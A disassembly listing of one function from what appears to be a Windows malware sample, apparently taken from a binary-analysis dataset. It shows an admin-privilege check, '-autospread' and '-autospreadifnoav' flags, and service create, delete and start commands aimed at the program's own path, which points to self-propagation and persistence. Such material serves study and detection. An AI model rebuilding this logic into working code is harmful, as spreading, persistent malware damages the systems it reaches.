Function at 0x1400013c0
Capabilities:
Get token privileges

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x388
movaps xmmword [rsp + 0x370], xmm6
mov rsi, rdx
mov edi, ecx
lea rbx, [rsp + 0x160]
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x105
call qword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
lea rcx, [0x1402897e8]
mov rdx, rbx
call fcn.140072c50
mov qword [rsp + 0xa0], 0xffffffffffffffff
mov rcx, qword [0x140285200]
lea r8, [rsp + 0xa0]
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov dword [rsp + 0x60], 1
mov dword [rsp + 0xe8], 0
mov rcx, qword [rsp + 0xa0]
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x60]
mov edx, 0x12
mov r9d, 4
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
cmp dword [rsp + 0x60], 3
jne 0x14000147c
mov byte [0x140288321], 1
jmp 0x140001485
cmp byte [0x140288321], 0
je 0x14000149b
lea rcx, str.you_are_running_WITHOUT_admin_privilage_elevation__please_close_in_5sec_and_RUN_AS_ADIMINISTRATOR_if_this_is_done_unintentionaly
call fcn.140002d10
mov rax, qword [0x1401f53e0]
mov byte [rax], 0
cmp edi, 2
jl 0x140001948
movabs rbx, 0x7fffffffffffffef
mov r13d, edi
mov r12d, 1
lea r14, [0x1401f5126]
mov r15, qword [sym.imp.msvcrt.dll__wcsnicmp]
lea rbp, str._autospreadifnoav
lea rdi, str._autospread
jmp 0x14000151c
mov rax, qword [str.0q__]
mov byte [rax], 1
mov rdx, qword [rsi + r12*8]
add rdx, 0x18
mov rcx, qword [0x1401f53e8]
call fcn.140072c50
mov rax, qword [0x1401f53d8]
mov byte [rax], 1
mov rax, qword [rsp + 0x138]
mov r12, rax
cmp rax, r13
je 0x140001948
lea rcx, [r12 + 1]
mov rax, rcx
mov qword [rsp + 0x138], rcx
cmp rcx, r13
jae 0x140001663
mov rbp, r13
mov r13, r15
mov rdi, qword [rsi + r12*8]
mov rcx, rdi
call sub.msvcrt.dll_wcslen
cmp rax, rbx
ja 0x140002938
mov r15, rax
cmp rax, 0xa
ja 0x140001570
lea eax, [r15 + r15]
mov byte [rsp + 0xa0], al
lea r14, [rsp + 0xa2]
jmp 0x1400015b2
mov rbx, r15
or rbx, 7
inc rbx
js 0x140002945
lea rcx, [rbx + rbx]
call fcn.14006fb50
mov r14, rax
mov qword [rsp + 0xb0], rax
or rbx, 1
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xa8], r15
movabs rbx, 0x7fffffffffffffef
mov r8, r15
add r8, r15
mov rcx, r14
mov rdx, rdi
call sub.msvcrt.dll_memmove
mov word [r14 + r15*2], 0
movzx edx, byte [rsp + 0xa0]
test dl, 1
je 0x1400015f0
mov rdx, qword [rsp + 0xa8]
mov rax, qword [rsp + 0xb0]
jmp 0x1400015fb
shr rdx, 1
lea rax, [rsp + 0xa2]
lea r14, [0x1401f5126]
mov r15, r13
lea rdi, str._autospread
cmp rdx, 5
mov r13, rbp
lea rbp, str._autospreadifnoav
jge 0x140001720
mov rdx, qword [rsi + r12*8]
lea rcx, str._file
call sub.msvcrt.dll_wcscmp
test eax, eax
jne 0x14000164c
mov rax, qword [rsp + 0x138]
mov rdx, qword [rsi + rax*8]
lea rcx, [0x1402897e8]
call fcn.140072c50
test byte [rsp + 0xa0], 1
je 0x140001663
mov rcx, qword [rsp + 0xb0]
call fcn.14006fbd0
mov rcx, qword [rsi + r12*8]
mov r8d, 0xf
mov rdx, r14
call r15
test eax, eax
je 0x140002923
mov rcx, qword [rsi + r12*8]
mov r8d, 0x12
mov rdx, rbp
call r15
test eax, eax
jne 0x1400016ad
mov rax, qword [str.0q__]
mov byte [rax], 1
mov rdx, qword [rsi + r12*8]
add rdx, 0x24
mov rcx, qword [0x1401f53e8]
call fcn.140072c50
mov rcx, qword [rsi + r12*8]
mov r8d, 0xc
mov rdx, rdi
call r15
test eax, eax
je 0x1400014e0
mov rcx, qword [rsi + r12*8]
lea rdx, str._irs
call sub.msvcrt.dll_wcscmp
test eax, eax
je 0x140001ca9
mov rcx, qword [rsi + r12*8]
lea rdx, [0x1401f5204]
call sub.msvcrt.dll_wcscmp
test eax, eax
je 0x140001db1
mov rcx, qword [rsi + r12*8]
lea rdx, [0x1401f520c]
call sub.msvcrt.dll_wcscmp
test eax, eax
jne 0x140001508
jmp 0x140001e39
lea rcx, [rax + rdx*2]
lea r8, [rax + rdx*2]
add r8, 0xfffffffffffffffe
mov r9, rax
add rdx, 0xfffffffffffffffc
je 0x140001620
xor r10d, r10d
nop dword [rax]
cmp word [r9 + r10], 0x2d
je 0x140001760
add r10, 2
dec rdx
jne 0x140001740
jmp 0x140001620
cmp word [r9 + r10 + 2], 0x77
jne 0x140001790
cmp word [r9 + r10 + 4], 0x61
jne 0x140001790
cmp word [r9 + r10 + 6], 0x69
jne 0x140001790
cmp word [r9 + r10 + 8], 0x74
je 0x1400017b1
nop word cs:[rax + rax]
mov r11, r8
sub r11, r9
add r9, r10
add r9, 2
sub r11, r10
mov rdx, r11
shr rdx, 1
cmp r11, 0xa
jge 0x14000172f
jmp 0x140001620
lea rdx, [r9 + r10]
cmp rdx, rcx
je 0x140001620
sub rax, r9
add rax, 0xfffffffffffffffe
cmp rax, r10
je 0x140001620
mov rax, qword [rsp + 0x138]
mov rdi, qword [rsi + rax*8]
mov rcx, rdi
call sub.msvcrt.dll_wcslen
cmp rax, rbx
ja 0x14000294a
cmp rax, 0xa
mov qword [rsp + 0x158], rdi
mov qword [rsp + 0xc8], rax
ja 0x14000180f
lea ecx, [rax + rax]
mov byte [rsp + 0x60], cl
lea rdi, [rsp + 0x62]
jmp 0x140001850
mov rbx, rax
or rbx, 7
inc rbx
js 0x140002954
lea rcx, [rbx + rbx]
call fcn.14006fb50
mov rdi, rax
mov qword [rsp + 0x70], rax
or rbx, 1
mov qword [rsp + 0x60], rbx
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x68], rax
movabs rbx, 0x7fffffffffffffef
mov r8, rax
add r8, rax
mov rcx, rdi
mov rdx, qword [rsp + 0x158]
call sub.msvcrt.dll_memmove
mov rax, qword [rsp + 0xc8]
mov word [rdi + rax*2], 0
lea rcx, [rsp + 0x60]
xor edx, edx
mov r8d, 0xa
call fcn.1400731d0
mov edi, eax
test byte [rsp + 0x60], 1
je 0x140001899
mov rcx, qword [rsp + 0x70]
call fcn.14006fbd0
movsxd rax, edi
imul rcx, rax, 0x66666667
mov rax, rcx
shr rax, 0x3f
sar rcx, 0x22
add ecx, eax
mov qword [rsp + 0xc8], rcx
call qword [sym.imp.KERNEL32.DLL_Sleep]
lea rdi, str._autospread
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.KERNEL32.DLL_Sleep]
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.KERNEL32.DLL_Sleep]
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.KERNEL32.DLL_Sleep]
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.KERNEL32.DLL_Sleep]
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.KERNEL32.DLL_Sleep]
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.KERNEL32.DLL_Sleep]
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.KERNEL32.DLL_Sleep]
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.KERNEL32.DLL_Sleep]
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x140001620
movaps xmm0, xmmword [0x1401f5230]
movaps xmmword [rsp + 0xb0], xmm0
movaps xmm0, xmmword [0x1401f5220]
movaps xmmword [rsp + 0xa0], xmm0
lea rcx, [rsp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherW]
test eax, eax
jne 0x14000284c
lea rdx, [0x1402897e8]
lea rsi, [rsp + 0x40]
mov rcx, rsi
call fcn.1400721d0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0xe8]
mov r9d, 2
mov rdx, rsi
xor r8d, r8d
call fcn.140072820
lea rdx, [0x1401f5190]
lea rcx, [rsp + 0xe8]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x70], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x60], xmm0
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0x60], 1
je 0x1400019f7
mov rsi, qword [rsp + 0x70]
jmp 0x1400019fc
lea rsi, [rsp + 0x62]
mov byte [rsp + 0x140], 0xe
movabs rax, 0x61006500720063
mov qword [rsp + 0x142], rax
movabs rax, 0x20006500740061
mov qword [rsp + 0x148], rax
mov word [rsp + 0x150], 0
lea rdx, [0x1401f51c2]
lea rcx, [rsp + 0x140]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xe0], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xd0], xmm0
xorps xmm6, xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rdx, [0x1401f51d0]
lea rcx, [rsp + 0xd0]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x110], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x100], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
movzx r8d, byte [0x1402897e8]
test r8b, 1
je 0x140001abf
mov rdx, qword [0x1402897f8]
mov r8, qword [0x1402897f0]
jmp 0x140001ac9
shr r8, 1
lea rdx, [0x1402897ea]
lea rcx, [rsp + 0x100]
call fcn.140072750
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x130], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x120], xmm0
xorps xmm6, xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rdx, [0x1401f51e8]
lea rcx, [rsp + 0x120]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x90], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x80], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x80], 1
je 0x140001b45
mov rdx, qword [rsp + 0x90]
jmp 0x140001b4d
lea rdx, [rsp + 0x82]
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov byte [rsp + 0x20], 0
mov rcx, rsi
mov r8b, 1
xor r9d, r9d
call fcn.140057a40
test byte [rsp + 0x80], 1
jne 0x140001bf0
test byte [rsp + 0x120], 1
jne 0x140001c0b
test byte [rsp + 0x100], 1
jne 0x140001c26
test byte [rsp + 0xd0], 1
jne 0x140001c41
test byte [rsp + 0x140], 1
jne 0x140001c5c
test byte [rsp + 0x60], 1
jne 0x140001c74
test byte [rsp + 0xe8], 1
jne 0x140001c8c
test byte [rsp + 0x40], 1
je 0x140001bd4
mov rcx, qword [rsp + 0x50]
call fcn.14006fbd0
lea rcx, str.running_after_5_seconds__close_proccess_for_cancelling
call fcn.140002d10
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x140002847
mov rcx, qword [rsp + 0x90]
call fcn.14006fbd0
test byte [rsp + 0x120], 1
je 0x140001b80
mov rcx, qword [rsp + 0x130]
call fcn.14006fbd0
test byte [rsp + 0x100], 1
je 0x140001b8e
mov rcx, qword [rsp + 0x110]
call fcn.14006fbd0
test byte [rsp + 0xd0], 1
je 0x140001b9c
mov rcx, qword [rsp + 0xe0]
call fcn.14006fbd0
test byte [rsp + 0x140], 1
je 0x140001baa
mov rcx, qword [rsp + 0x150]
call fcn.14006fbd0
test byte [rsp + 0x60], 1
je 0x140001bb5
mov rcx, qword [rsp + 0x70]
call fcn.14006fbd0
test byte [rsp + 0xe8], 1
je 0x140001bc3
mov rcx, qword [rsp + 0xf8]
call fcn.14006fbd0
test byte [rsp + 0x40], 1
jne 0x140001bca
jmp 0x140001bd4
lea rdx, [0x1402897e8]
lea rsi, [rsp + 0xe8]
mov rcx, rsi
call fcn.1400721d0
lea rbx, [rsp + 0x40]
mov qword [rsp + 0x20], rbx
lea rcx, [rsp + 0x60]
mov r9d, 2
mov rdx, rsi
xor r8d, r8d
call fcn.140072820
lea rdx, [0x1401f5190]
lea rcx, [rsp + 0x60]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xb0], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xa0], xmm0
xorps xmm6, xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
movzx esi, byte [rsp + 0xa0]
mov rdi, qword [rsp + 0xb0]
mov byte [rsp + 0x80], 0xe
movabs rax, 0x65006c00650064
mov qword [rsp + 0x82], rax
movabs rax, 0x20006500740065
mov qword [rsp + 0x88], rax
mov word [rsp + 0x90], 0
lea rdx, [0x1401f51c2]
lea rcx, [rsp + 0x80]
call fcn.140072e90
test sil, 1
lea rsi, [rsp + 0xa2]
cmove rdi, rsi
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x50], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x40], 1
je 0x140001ec1
mov rdx, qword [rsp + 0x50]
jmp 0x140001ec6
lea rdx, [0x1402897e8]
lea rsi, [rsp + 0xe8]
mov rcx, rsi
call fcn.1400721d0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x60]
mov r9d, 2
mov rdx, rsi
xor r8d, r8d
call fcn.140072820
lea rdx, [0x1401f5190]
lea rcx, [rsp + 0x60]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xb0], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xa0], xmm0
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xa0], 1
je 0x1400023e7
mov rsi, qword [rsp + 0xb0]
jmp 0x1400023ef
lea rdx, [0x1402897e8]
lea rsi, [rsp + 0xe8]
mov rcx, rsi
call fcn.1400721d0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x60]
mov r9d, 2
mov rdx, rsi
xor r8d, r8d
call fcn.140072820
lea rdx, [0x1401f5190]
lea rcx, [rsp + 0x60]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xb0], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xa0], xmm0
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xa0], 1
je 0x140002665
mov rsi, qword [rsp + 0xb0]
jmp 0x14000266d
lea rdx, [rsp + 0x42]
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov byte [rsp + 0x20], 1
mov rcx, rdi
mov r8b, 1
xor r9d, r9d
call fcn.140057a40
test byte [rsp + 0x40], 1
jne 0x140002067
test byte [rsp + 0x80], 1
jne 0x14000207f
test byte [rsp + 0xa0], 1
jne 0x14000209a
test byte [rsp + 0x60], 1
jne 0x1400020b2
test byte [rsp + 0xe8], 1
je 0x140001f2a
mov rcx, qword [rsp + 0xf8]
call fcn.14006fbd0
lea rdx, [0x1402897e8]
lea rdi, [rsp + 0xe8]
mov rcx, rdi
call fcn.1400721d0
mov qword [rsp + 0x20], rbx
lea rcx, [rsp + 0x60]
mov r9d, 2
mov rdx, rdi
xor r8d, r8d
call fcn.140072820
lea rdx, [0x1401f5190]
lea rcx, [rsp + 0x60]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xb0], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xa0], xmm0
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xa0], 1
je 0x140001fa4
mov rsi, qword [rsp + 0xb0]
mov byte [rsp + 0xd0], 0xe
movabs rax, 0x61006500720063
mov qword [rsp + 0xd2], rax
movabs rax, 0x20006500740061
mov qword [rsp + 0xd8], rax
mov word [rsp + 0xe0], 0
lea rdx, [0x1401f51c2]
lea rcx, [rsp + 0xd0]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x110], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x100], xmm0
xorps xmm6, xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rdx, [0x1401f51d0]
lea rcx, [rsp + 0x100]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x130], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x120], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
movzx r8d, byte [0x1402897e8]
test r8b, 1
je 0x1400020cf
mov rdx, qword [0x1402897f8]
mov r8, qword [0x1402897f0]
jmp 0x1400020d9
mov rcx, qword [rsp + 0x50]
call fcn.14006fbd0
test byte [rsp + 0x80], 1
je 0x140001efa
mov rcx, qword [rsp + 0x90]
call fcn.14006fbd0
test byte [rsp + 0xa0], 1
je 0x140001f08
mov rcx, qword [rsp + 0xb0]
call fcn.14006fbd0
test byte [rsp + 0x60], 1
je 0x140001f13
mov rcx, qword [rsp + 0x70]
call fcn.14006fbd0
test byte [rsp + 0xe8], 1
jne 0x140001f1d
jmp 0x140001f2a
shr r8, 1
lea rdx, [0x1402897ea]
lea rcx, [rsp + 0x120]
call fcn.140072750
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x90], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x80], xmm0
xorps xmm6, xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rdx, [0x1401f51e8]
lea rcx, [rsp + 0x80]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x50], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x40], 1
je 0x140002149
mov rdx, qword [rsp + 0x50]
jmp 0x14000214e
lea rdx, [rsp + 0x42]
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov byte [rsp + 0x20], 1
mov rcx, rsi
mov r8b, 1
xor r9d, r9d
call fcn.140057a40
test byte [rsp + 0x40], 1
jne 0x1400022e2
test byte [rsp + 0x80], 1
jne 0x1400022fa
test byte [rsp + 0x120], 1
jne 0x140002315
test byte [rsp + 0x100], 1
jne 0x140002330
test byte [rsp + 0xd0], 1
jne 0x14000234b
test byte [rsp + 0xa0], 1
jne 0x140002366
test byte [rsp + 0x60], 1
jne 0x14000237e
test byte [rsp + 0xe8], 1
je 0x1400021dc
mov rcx, qword [rsp + 0xf8]
call fcn.14006fbd0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.DLL_Sleep]
lea rdx, [0x1402897e8]
lea rsi, [rsp + 0xe8]
mov rcx, rsi
call fcn.1400721d0
mov qword [rsp + 0x20], rbx
lea rcx, [rsp + 0x60]
mov r9d, 2
mov rdx, rsi
xor r8d, r8d
call fcn.140072820
lea rdx, [0x1401f5190]
lea rcx, [rsp + 0x60]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xb0], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xa0], xmm0
xorps xmm6, xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
movzx ebx, byte [rsp + 0xa0]
mov rsi, qword [rsp + 0xb0]
mov byte [rsp + 0x80], 0xc
movabs rax, 0x72006100740073
mov qword [rsp + 0x82], rax
mov dword [rsp + 0x8a], 0x200074
mov word [rsp + 0x8e], 0
lea rdx, [0x1401f51c2]
lea rcx, [rsp + 0x80]
call fcn.140072e90
test bl, 1
lea rcx, [rsp + 0xa2]
cmove rsi, rcx
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x50], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x40], 1
je 0x14000239b
mov rdx, qword [rsp + 0x50]
jmp 0x1400023a0
mov rcx, qword [rsp + 0x50]
call fcn.14006fbd0
test byte [rsp + 0x80], 1
je 0x140002182
mov rcx, qword [rsp + 0x90]
call fcn.14006fbd0
test byte [rsp + 0x120], 1
je 0x140002190
mov rcx, qword [rsp + 0x130]
call fcn.14006fbd0
test byte [rsp + 0x100], 1
je 0x14000219e
mov rcx, qword [rsp + 0x110]
call fcn.14006fbd0
test byte [rsp + 0xd0], 1
je 0x1400021ac
mov rcx, qword [rsp + 0xe0]
call fcn.14006fbd0
test byte [rsp + 0xa0], 1
je 0x1400021ba
mov rcx, qword [rsp + 0xb0]
call fcn.14006fbd0
test byte [rsp + 0x60], 1
je 0x1400021c5
mov rcx, qword [rsp + 0x70]
call fcn.14006fbd0
test byte [rsp + 0xe8], 1
jne 0x1400021cf
jmp 0x1400021dc
lea rdx, [rsp + 0x42]
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov byte [rsp + 0x20], 0
mov rcx, rsi
mov r8b, 1
xor r9d, r9d
call fcn.140057a40
test byte [rsp + 0x40], 1
je 0x1400023cc
mov rcx, qword [rsp + 0x50]
call fcn.14006fbd0
test byte [rsp + 0x80], 1
je 0x14000257f
mov rcx, qword [rsp + 0x90]
jmp 0x140002610
lea rsi, [rsp + 0xa2]
mov byte [rsp + 0xd0], 0xe
movabs rax, 0x61006500720063
mov qword [rsp + 0xd2], rax
movabs rax, 0x20006500740061
mov qword [rsp + 0xd8], rax
mov word [rsp + 0xe0], 0
lea rdx, [0x1401f51c2]
lea rcx, [rsp + 0xd0]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x110], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x100], xmm0
xorps xmm6, xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rdx, [0x1401f51d0]
lea rcx, [rsp + 0x100]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x130], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x120], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
movzx r8d, byte [0x1402897e8]
test r8b, 1
je 0x1400024b2
mov rdx, qword [0x1402897f8]
mov r8, qword [0x1402897f0]
jmp 0x1400024bc
shr r8, 1
lea rdx, [0x1402897ea]
lea rcx, [rsp + 0x120]
call fcn.140072750
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x90], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x80], xmm0
xorps xmm6, xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rdx, [0x1401f51e8]
lea rcx, [rsp + 0x80]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x50], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x40], 1
je 0x14000252c
mov rdx, qword [rsp + 0x50]
jmp 0x140002531
lea rdx, [rsp + 0x42]
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov byte [rsp + 0x20], 0
mov rcx, rsi
mov r8b, 1
xor r9d, r9d
call fcn.140057a40
test byte [rsp + 0x40], 1
jne 0x1400025ab
test byte [rsp + 0x80], 1
jne 0x1400025bf
test byte [rsp + 0x120], 1
jne 0x1400025d6
test byte [rsp + 0x100], 1
jne 0x1400025ed
test byte [rsp + 0xd0], 1
jne 0x140002608
test byte [rsp + 0xa0], 1
jne 0x140002623
test byte [rsp + 0x60], 1
jne 0x14000263b
test byte [rsp + 0xe8], 1
jne 0x140002653
jmp 0x14000284c
mov rcx, qword [rsp + 0x50]
call fcn.14006fbd0
test byte [rsp + 0x80], 1
je 0x14000255d
mov rcx, qword [rsp + 0x90]
call fcn.14006fbd0
test byte [rsp + 0x120], 1
je 0x140002567
mov rcx, qword [rsp + 0x130]
call fcn.14006fbd0
test byte [rsp + 0x100], 1
je 0x140002571
mov rcx, qword [rsp + 0x110]
call fcn.14006fbd0
test byte [rsp + 0xd0], 1
je 0x14000257f
mov rcx, qword [rsp + 0xe0]
call fcn.14006fbd0
test byte [rsp + 0xa0], 1
je 0x14000258d
mov rcx, qword [rsp + 0xb0]
call fcn.14006fbd0
test byte [rsp + 0x60], 1
je 0x140002598
mov rcx, qword [rsp + 0x70]
call fcn.14006fbd0
test byte [rsp + 0xe8], 1
je 0x14000284c
mov rcx, qword [rsp + 0xf8]
call fcn.14006fbd0
jmp 0x14000284c
lea rsi, [rsp + 0xa2]
mov byte [rsp + 0xd0], 0xe
movabs rax, 0x61006500720063
mov qword [rsp + 0xd2], rax
movabs rax, 0x20006500740061
mov qword [rsp + 0xd8], rax
mov word [rsp + 0xe0], 0
lea rdx, [0x1401f51c2]
lea rcx, [rsp + 0xd0]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x110], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x100], xmm0
xorps xmm6, xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rdx, [0x1401f51d0]
lea rcx, [rsp + 0x100]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x130], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x120], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
movzx r8d, byte [0x1402897e8]
test r8b, 1
je 0x140002730
mov rdx, qword [0x1402897f8]
mov r8, qword [0x1402897f0]
jmp 0x14000273a
shr r8, 1
lea rdx, [0x1402897ea]
lea rcx, [rsp + 0x120]
call fcn.140072750
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x90], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x80], xmm0
xorps xmm6, xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rdx, [0x1401f51e8]
lea rcx, [rsp + 0x80]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x50], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x40], 1
je 0x1400027aa
mov rdx, qword [rsp + 0x50]
jmp 0x1400027af
lea rdx, [rsp + 0x42]
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov byte [rsp + 0x20], 0
mov rcx, rsi
mov r8b, 1
xor r9d, r9d
call fcn.140057a40
test byte [rsp + 0x40], 1
jne 0x14000286a
test byte [rsp + 0x80], 1
jne 0x140002882
test byte [rsp + 0x120], 1
jne 0x14000289d
test byte [rsp + 0x100], 1
jne 0x1400028b8
test byte [rsp + 0xd0], 1
jne 0x1400028d3
test byte [rsp + 0xa0], 1
jne 0x1400028ee
test byte [rsp + 0x60], 1
jne 0x140002906
test byte [rsp + 0xe8], 1
je 0x14000283d
mov rcx, qword [rsp + 0xf8]
call fcn.14006fbd0
mov rax, qword [0x1401f53e0]
mov byte [rax], 0
call fcn.140003090
xor eax, eax
movaps xmm6, xmmword [rsp + 0x370]
add rsp, 0x388
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [rsp + 0x50]
call fcn.14006fbd0
test byte [rsp + 0x80], 1
je 0x1400027e3
mov rcx, qword [rsp + 0x90]
call fcn.14006fbd0
test byte [rsp + 0x120], 1
je 0x1400027f1
mov rcx, qword [rsp + 0x130]
call fcn.14006fbd0
test byte [rsp + 0x100], 1
je 0x1400027ff
mov rcx, qword [rsp + 0x110]
call fcn.14006fbd0
test byte [rsp + 0xd0], 1
je 0x14000280d
mov rcx, qword [rsp + 0xe0]
call fcn.14006fbd0
test byte [rsp + 0xa0], 1
je 0x14000281b
mov rcx, qword [rsp + 0xb0]
call fcn.14006fbd0
test byte [rsp + 0x60], 1
je 0x140002826
mov rcx, qword [rsp + 0x70]
call fcn.14006fbd0
test byte [rsp + 0xe8], 1
jne 0x140002830
jmp 0x14000283d
mov byte [section..data], 1
mov cl, 1
call fcn.14002fd60
xor ecx, ecx
call sub.msvcrt.dll_exit
lea rcx, [rsp + 0xa0]
call fcn.140002ec0
call fcn.140002f60
lea rcx, [rsp + 0x60]
call fcn.140002ec0
call fcn.140002f60
jmp 0x140002cea
mov rsi, rax
test byte [rsp + 0xa0], 1
je 0x140002d04
mov rcx, qword [rsp + 0xb0]
call fcn.14006fbd0
mov rcx, rsi
call fcn.14009a110
int3